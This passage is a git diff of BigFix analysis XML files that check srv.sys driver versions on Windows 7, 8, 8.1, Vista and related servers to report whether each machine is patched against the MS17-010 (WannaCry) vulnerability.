-    <Property ID="1" Name="SMB1_UpToDate">( ( ((name of it = &quot;Win10&quot; OR Name of it = &quot;Win2016&quot; AND build number of it as string = &quot;14393&quot;) of operating system) AND it &gt;= &quot;10.0.14393.953&quot; ) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10586&quot;) of operating system) AND it &gt;= &quot;10.0.10586.839&quot;) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10240&quot;) of operating system) AND it &gt;= &quot;10.0.10240.17319&quot;) OR ( ((name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; ) of operating system) AND (it &gt;= &quot;6.0.6002.19743&quot; OR it &gt;= &quot;6.0.6002.24067&quot;) ) OR ( ((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) of operating system) AND it &gt;= &quot;6.1.7601.23689&quot;) OR ( ((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; ) of operating system) AND (it &gt;= &quot;6.2.9200.22099&quot;)) OR ( ((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; ) of operating system) AND (it &gt;= &quot;6.3.9600.18604&quot;)) OR ( ((name of it = &quot;Win2003&quot;) of operating system) AND (it &gt;= &quot;5.2.3790.6021&quot;)) OR ( ((name of it = &quot;WinXP&quot;) of operating system) AND (it &gt;= &quot;5.1.2600.7208&quot;)) ) of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of native system folders</Property>
-    <Property ID="2" Name="OS">operating system</Property>
-    <Property ID="3" Name="SMB1_Ver">version of file &quot;srv.sys&quot; of folder &quot;drivers&quot; of native system folder</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010 verify (WannaCry &co.)
+  ID       : 2998568
+  Author   : wwan
+  Domain   : BESC
+  Imported : 2017-06-06T07:05:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010 verify (WannaCry &amp;co.)</Title>
+    <Description><![CDATA[<P>verify for MS17-010 vulnerability (WannaCry &amp; co.)</P>
+<P>version query based on <A href="https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed">https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 06 Jun 2017 14:03:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SMB1_UpToDate">( ( ((name of it = &quot;Win10&quot; OR Name of it = &quot;Win2016&quot; AND build number of it as string = &quot;14393&quot;) of operating system) AND it &gt;= &quot;10.0.14393.953&quot; ) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10586&quot;) of operating system) AND it &gt;= &quot;10.0.10586.839&quot;) OR ( ((name of it = &quot;Win10&quot; AND build number of it as string = &quot;10240&quot;) of operating system) AND it &gt;= &quot;10.0.10240.17319&quot;) OR ( ((name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; ) of operating system) AND (it &gt;= &quot;6.0.6002.19743&quot; OR it &gt;= &quot;6.0.6002.24067&quot;) ) OR ( ((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) of operating system) AND it &gt;= &quot;6.1.7601.23689&quot;) OR ( ((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; ) of operating system) AND (it &gt;= &quot;6.2.9200.22099&quot;)) OR ( ((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; ) of operating system) AND (it &gt;= &quot;6.3.9600.18604&quot;)) OR ( ((name of it = &quot;Win2003&quot;) of operating system) AND (it &gt;= &quot;5.2.3790.6021&quot;)) OR ( ((name of it = &quot;WinXP&quot;) of operating system) AND (it &gt;= &quot;5.1.2600.7208&quot;)) ) of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of native system folders</Property>
+    <Property ID="2" Name="OS">operating system</Property>
+    <Property ID="3" Name="SMB1_Ver">version of file &quot;srv.sys&quot; of folder &quot;drivers&quot; of native system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes
index 8676b0a5d..577c96136 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2
-  ID       : 2998556
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2017-05-17T00:29:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
-<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
-    <Relevance>(name of it = &quot;Win7&quot; or name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 17 May 2017 07:24:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
-    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.1.7601.23689&quot;</Property>
-    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.1.7601.23689&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2
+  ID       : 2998556
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 / Windows Server 2008 R2</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;Win7&quot; or name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.1.7601.23689&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.1.7601.23689&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes
index 8c8afcfd3..f34b4cf2e 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012
-  ID       : 2998557
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2017-05-17T00:29:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
-<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
-    <Relevance>((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.2&quot;) of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 17 May 2017 07:24:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
-    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.2.9200.22099&quot;</Property>
-    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.2.9200.22099&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012
+  ID       : 2998557
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 / Windows Server 2012</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>((name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.2&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.2.9200.22099&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.2.9200.22099&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes
index 305d5a664..fb29ef722 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2
-  ID       : 2998558
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2017-05-17T00:29:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
-<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
-    <Relevance>(name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; OR (name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 17 May 2017 07:24:48 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
-    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.3.9600.18604&quot;</Property>
-    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.3.9600.18604&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2
+  ID       : 2998558
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-17T00:29:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 / Windows Server 2012 R2</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot; OR (name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot;) AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 17 May 2017 07:24:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">&quot;6.3.9600.18604&quot;</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose (version of it &lt; &quot;6.3.9600.18604&quot;) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes
index 99d9c809e..d6ef660f1 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008
-  ID       : 2998560
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2017-05-19T12:49:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
-<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
-    <Relevance>(name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot;) of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 19 May 2017 19:49:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
-    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &gt; &quot;6.0.6002.23000&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;6.0.6002.24067&quot;) else (&quot;6.0.6002.19743&quot;)</Property>
-    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &lt; &quot;6.0.6002.19743&quot; OR it &gt; &quot;6.0.6002.23000&quot; AND it &lt; &quot;6.0.6002.24067&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008
+  ID       : 2998560
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2017-05-19T12:49:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MS17-010: Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista / Windows Server 2008</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Analysis to detect the file version of your Srv.sys, and&nbsp;determine whether it is up-to-date to protect against WannaCry vulnerability.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot;) of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 May 2017 19:49:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Srv.sys File Version">unique values of versions of files &quot;srv.sys&quot; of folders &quot;drivers&quot; of (system folder; native system folder)</Property>
